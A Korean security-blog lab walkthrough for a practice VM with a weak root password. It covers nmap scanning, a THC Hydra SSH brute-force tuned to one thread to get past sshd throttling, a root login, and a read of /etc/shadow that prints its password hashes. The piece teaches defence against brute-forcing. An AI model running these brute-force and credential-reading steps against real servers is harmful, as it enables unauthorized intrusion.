홈페이지 취약점 분석 이야기 파일 지도 사진 깨알






>> 목록보이기
#웹해킹 훈련장 #ssh brute-force #brute-force attack #weak-root-pw #nmap #hydra #무작위대입공격 #비밀번호 복잡도 #취약한 비밀번호 #네트워크 해킹 #침해사고 #서버장악 #실습설명서

root의 비밀번호가 취약한 weak-root-pw 훈련장

웹 어플리케이션의 취약점이 아닌 다른 경로를 통해서 웹서버가 장악당하는 경우가 심심찮게 일어난다. 2015-2016년의 2년간 14건의 서버 침해사고를 분석한 바 있다. 이중 3건이 다음과 같은 공통점을 가지고 있었다.

  • 피해 서버가 외부 어디에서나 ssh 접속이 가능하였다.
  • root 계정으로 원격 접속(ssh)이 가능하였다.
  • root의 비밀번호가 현실적인 시간 내에 계산할 수 있을 정도로 단순하였다.

이를 이용하여 공격자들이 root 계정의 비밀번호를 알아낸 후 "정상적으로" 서버에 접속하게 되면 허용되지 않은 사용자에게 서버가 장악되는 결과를 초래하게 된다.

대개의 Linux 배포판이 root 로그인 자체를 비활성화하는 것이 이러한 보안문제 때문이다. root가 비활성화되었으므로 원격에서의 접속(ssh)도 원천적으로 차단된다. 이러한 배포판에서는 sudo -isudo -s 명령어로 root 권한의 쉘을 실행할 수 있으니 굳이 root 계정을 재활성화하려는 시도를 하지않는 것이 좋다.

외부에서 SSH를 통해 root 계정으로 접속할 수 있는 서버들은 root권한을 탈취당할 수 있다. 비밀번호가 노출되면 곧 서버장악으로 이어진다. 이 때문에 웹 어플리케이션에서 웹쉘을 업로드할 수 있는 취약점보다 root 계정에 대한 잘못된 접근제한이 훨씬 더 위험하다. 위에서 언급한 세 사례 모두에서 다수의 백도어가 설치되어 있었으며, 두 사례는 외부 C&C서버와 통신하는 과정에서 탐지되었고, 하나의 사례는 내부 네트워크에 대한 DoS 공격을 수행하였는 데 그 원인을 분석하는 과정에서 침해사고 흔적이 발견되었다.

SSH의 root 계정에 대한 무작위대입공격(brute-force attack)은 매우 흔하다. 실제 운영중인 웹서버에서 SSH 로그인에 실패한 로그를 뽑아보았다.

[root@www log]# grep Failed secure | wc -l
1466
[root@www log]# grep Failed secure | tail
Nov 16 11:15:07 www sshd[8921]: Failed password for root from 116.31.116.24 port 47465 ssh2
Nov 16 11:16:25 www sshd[16920]: Failed password for root from 116.31.116.24 port 59275 ssh2
Nov 16 11:17:43 www sshd[25660]: Failed password for root from 116.31.116.24 port 61141 ssh2
Nov 16 11:19:02 www sshd[3348]: Failed password for root from 116.31.116.24 port 23666 ssh2
Nov 16 11:20:18 www sshd[13251]: Failed password for root from 116.31.116.24 port 62995 ssh2
Nov 16 11:21:35 www sshd[23010]: Failed password for root from 116.31.116.24 port 12868 ssh2
Nov 16 11:24:08 www sshd[10314]: Failed password for root from 116.31.116.24 port 15936 ssh2
Nov 16 11:25:25 www sshd[20966]: Failed password for root from 116.31.116.24 port 18738 ssh2
Nov 16 11:26:44 www sshd[29879]: Failed password for root from 116.31.116.24 port 22958 ssh2
Nov 16 11:28:00 www sshd[6537]: Failed password for root from 116.31.116.24 port 26786 ssh2

위의 웹 서버는 CentOS가 운영체제이다. SSH 접속로그는 /var/log/secure 파일에 기록된다 (최근의 리눅스 운영체제에서는 대부분 /var/log/auth.log 파일이 SSH 접속로그이다). 약 사흘동안 1466번의 로그인 시도가 실패한 것을 볼 수 있다. 가장 최근에 실패한 10개의 시도를 보면 root 계정에 대한 로그인 시도이다. IP주소 116.31.116.24는 www.iplocation.net 등을 통해 확인한 바에 따르면 중국 광동성에 위치한 것으로 보인다. SSH 무작위 대입공격은 1분에 하나 정도씩 매우 느리게 수행하는 것도 확인할 수 있다. 만약 root의 비밀번호가 취약하다면 이 서버는 현실적인 시간내에 - 아마도 며칠, 몇주, 몇달 정도 - root 권한을 탈취당할 위험성이 있다. 실례로 위에서 언급한 세 사례중 하나는 사흘동안 9000번 정도의 무작위대입공격을 통해 root로 접속한 것을 확인할 수 있었다.

여기서 제공하는 weak-root-pw는 취약한 root 암호설정이 어떠한 영향을 미치는 지 직접 시험해볼 수 있는 훈련장이다.

weak-root-pw 훈련장 구동

먼저 root 비밀번호가 취약한 서버의 Live ISO (weak-root-pw.iso, 19.5MB)를 받는다. VMware Workstation Player에서 CDROM은 내려받은 라이브ISO 파일을 지정하고, 가상디스크 크기는 0GB, 메모리는 256MB로 설정하여 부팅한다.


[ weak-root-pw 훈련장 부팅 화면 ]

weakpw 서버에는 "tux" 계정으로 로그인한다. 비밀번호는 "w3bh4ck!23$로 설정되어 있다.

Welcome to weak-root-pw box.
SliTaz boot time: 4s

SliTaz GNU/Linux Kernel 2.6.37-slitaz tty1

weakpw login: tux
Password: w3bh4ck!23$

  Welcome to the Open Source World!
  
  SliTaz GNU/Linux is distributed in the hope that it will be useful,
  but with ABSOLUTELY NO WARRANTY.

tux@weakpw:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0C:29:22:E1:72  
          inet addr:192.168.206.132  Bcast:192.168.206.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:150 errors:0 dropped:0 overruns:0 frame:0
          TX packets:54 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:22715 (22.1 KiB)  TX bytes:8492 (8.2 KiB)
          Interrupt:19 Base address:0x2000 

lo        Link encap:Local Loopback  
          inet addr:127.0.0.1  Mask:255.0.0.0
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:0 errors:0 dropped:0 overruns:0 frame:0
          TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0 
          RX bytes:0 (0.0 B)  TX bytes:0 (0.0 B)

tux@weakpw:~$ 


[ weak-root-pw 서버에 로그인 후 IP주소 확인 ]

ifconfig 명령어로 확인한 결과, weak-root-pw 서버의 IP주소는 192.168.206.132이다.

Nmap 점검

IP주소 192.168.206.132를 대상으로 nmap을 실행한 결과는 다음과 같다.

root@kali:~# nmap -p- 192.168.206.132
Nmap scan report for 192.168.206.132
Host is up (0.00013s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https
MAC Address: 00:0C:29:22:E1:72 (VMware)

Nmap done: 1 IP address (1 host up) scanned in 2.46 seconds
root@kali:~# nmap -p22,80,443 -A 192.168.206.132

Starting Nmap 7.31 ( https://nmap.org ) at 2016-11-16 14:39 KST
Nmap scan report for 192.168.206.132
Host is up (0.00037s latency).
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      Dropbear sshd 2011.54 (protocol 2.0)
| ssh-hostkey: 
|   1024 da:e3:b1:1c:c1:89:55:af:78:bb:df:74:85:4f:ec:1e (DSA)
|_  1040 6c:04:88:00:d3:9f:06:84:0d:21:3b:96:f3:d3:37:e9 (RSA)
80/tcp  open  http     Apache httpd 2.2.29 ((Unix) mod_ssl/2.2.29 OpenSSL/1.0.0g DAV/2 PHP/5.2.17)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.0g DAV/2 PHP/5.2.17
|_http-title: SliTaz Web Server
443/tcp open  ssl/http Apache httpd 2.2.29 ((Unix) mod_ssl/2.2.29 OpenSSL/1.0.0g DAV/2 PHP/5.2.17)
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.0g DAV/2 PHP/5.2.17
|_http-title: SliTaz Web Server
| ssl-cert: Subject: organizationName=weakpw/stateOrProvinceName=UTC/countryName=US
| Not valid before: 2016-11-16T00:30:15
|_Not valid after:  2026-11-14T00:30:15
|_ssl-date: 2016-11-16T14:40:00+00:00; +8h59m59s from scanner time.
MAC Address: 00:0C:29:22:E1:72 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.36 - 2.6.37, Linux 2.6.37
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 8h59m59s, deviation: 0s, median: 8h59m59s

TRACEROUTE
HOP RTT     ADDRESS
1   0.37 ms 192.168.206.132

Post-scan script results:
| clock-skew: 
|_  8h59m59s: Majority of systems scanned
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.43 seconds
root@kali:~#

weak-root-pw 서버에는 22/tcp(ssh), 80/tcp(http), 443/tcp(https)의 3개 포트 접속이 가능함을 알 수 있다. 80, 443 포트에서는 TRACE 메소드가 활성화되어 있다. 그리고 Server: 헤더에서 웹서버 등의 자세한 정보를 노출한다.

[Nmap에서 탐지한 취약점]

  • 22/tcp(ssh) 포트가 외부에 개방되어 있음
  • 80/tcp(http), 443/tcp(https) 포트에서 TRACE 메소드를 허용하고 있음
  • Server:헤더에서 웹서버 정보노출: "Apache/2.2.29 (Unix) mod_ssl/2.2.29 OpenSSL/1.0.0g DAV/2 PHP/5.2.17

niktoowasp-zap으로 취약점을 스캔하였으나 X-Frame-Options, X-XSS-Protection 등의 헤더설정과 관련된 항목이 보고되었다. (이러한 항목은 추가공격에 사용될 수 있는 2차적인 취약점이므로 일단 무시하기로 한다.) nikto의 경우에는 디렉토리 나열 취약점이 매우 많이 탐지되지만 SliTaz 홈페이지에 "Index of /"라는 문자열이 포함되어서 나타나는 오탐으로 진단하였다.

THC Hydra를 이용한 SSH 무작위대입 공격

192.168.206.132 서버를 대상으로 ssh 접속에 대한 무작위대입(brute-force) 공격을 수행해보자. 표적 ID는 root이다. 일반 사용자 ID를 알 수만 있다면 이를 표적으로 삼아도 된다 (일반 사용자로 로그인 후에는 root 권한상승 공격을 할 수 있다).

hydra 실행에는 이 누리집에서 제공하는 취약한 비밀번호 목록파일(weakpass.txt)을 사용하였다.

root@kali:~# hydra -l root -P weakpass.txt 192.168.206.132 ssh
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-11-16 15:57:15
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 64 tasks, 535 login tries (l:1/p:535), ~0 tries per task
[DATA] attacking service ssh on port 22
1 of 1 target completed, 0 valid passwords found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-11-16 15:57:17
root@kali:~#

위의 사례는 THC Hydra가 오작동한 사례이다. 이 훈련장에서 구동중인 Dropbear sshd와 가장 널리 사용되는 OpenSSH sshd 등은 자체적인 방어기작이 있는 것으로 보인다. THC Hydra의 기본 동시공격(thread) 수는 16개이다. 너무 많은 시도에 의한 실패는 더이상의 공격을 차단하게 되어 위의 결과와 같이 실패하게 된다.

시작하면서 실제 웹서버로 들어오는 SSH 무작위대입 공격이 거의 1분에 하나씩인 것을 관찰한 바 있다. 이는 아마도 sshd 자체의 방어기작을 우회하기 위한 것으로 보인다. 취약점점검에서도 동시 공격수를 최소한으로 줄이는 것이 좋다.

-t 1 옵션으로 쓰레드 수를 1로 최소화하여 다시 진행해자.

root@kali:~# hydra -l root -P weakpass.txt 192.168.206.132 ssh -t 1
Hydra v8.3 (c) 2016 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-11-16 17:04:48
[DATA] max 1 task per 1 server, overall 64 tasks, 535 login tries (l:1/p:535), ~8 tries per task
[DATA] attacking service ssh on port 22
[STATUS] 136.00 tries/min, 136 tries in 00:01h, 399 to do in 00:03h, 1 active
[STATUS] 150.67 tries/min, 452 tries in 00:03h, 83 to do in 00:01h, 1 active
[22][ssh] host: 192.168.206.132   login: root   password: s3cret
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2016-11-16 17:08:08
root@kali:~#

느리게 무작위대입 공격을 진행했을 떄, root 계정의 비밀번호가 취약한 비밀번호 목록(weakpass.txt)에 포함된 것임을 알 수 있다. hydra로 유출한 비밀번호를 이용하여 다음과 같이 표적 서버에 로그인할 수 있다.

root@kali:~# ssh root@192.168.206.132

Secure login on SliTaz GNU/Linux powered by Dropbear SSH server.
root@192.168.206.132's password: s3cret

  Welcome to the Open Source World!
  
  SliTaz GNU/Linux is distributed in the hope that it will be useful,
  but with ABSOLUTELY NO WARRANTY.

root@weakpw:~# cat /etc/shadow
root:$1$CGB3a1W7$V4CeoT2XPwvzoOTg0sHKi1:17121:0:99999:7:::
nobody:*:13509:0:99999:7:::
www:*:13509:0:99999:7:::
tux:$1$JRrhXnsi$9vBXNUdGHzyS1IEvPtzrz1:17121:0:99999:7:::
root@weakpw:~# id
uid=0(root) gid=0(root) groups=0(root),6(disk),10(wheel)
root@weakpw:~# 

[처음 작성한 날: 2016.11.16]    [마지막으로 고친 날: 2017.07.13] 


< 이전 글 : ID/PW 평문전송, 정말 그렇게 큰 취약점인가? (2016.11.16)

> 다음 글 : weak-root-pw 훈련장 웹취약점 분석 보고서 (2016.11.17)


크리에이티브 커먼즈 라이선스 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다.
잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다.
문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문
 __
( 중앙컴퓨터가 말했나, R2D2? 낯선  )
( 컴퓨터는 믿지 않는게 좋아.  )
(  )
( - C3PO, 스타워즈  )
 --
   o
    o
        .--.
       |o_o |
       |:_/ |
      //   \ \
     (|     | )
    /'\_   _/`\
    \___)=(___/

.. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ...... ... ... ] .. [ .../ ..../ ......./ .. ./// ../ ... .. ... .. -- -- | - .. .... | ... / .. .../ ... {] . .. .. .. ..| ...... .../ .../ .. ./// ../ ... .. ... ...| ..../ ./ ... / ..| ....| ........ / ... / .... ...... ... ... ] .. [ .../ ..../ ......./ .....| ..../ ./ ... / ..| ....| ........ / ... / .... ...| ..../ ./ ... / ..| ....| ........ / ... / .... . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .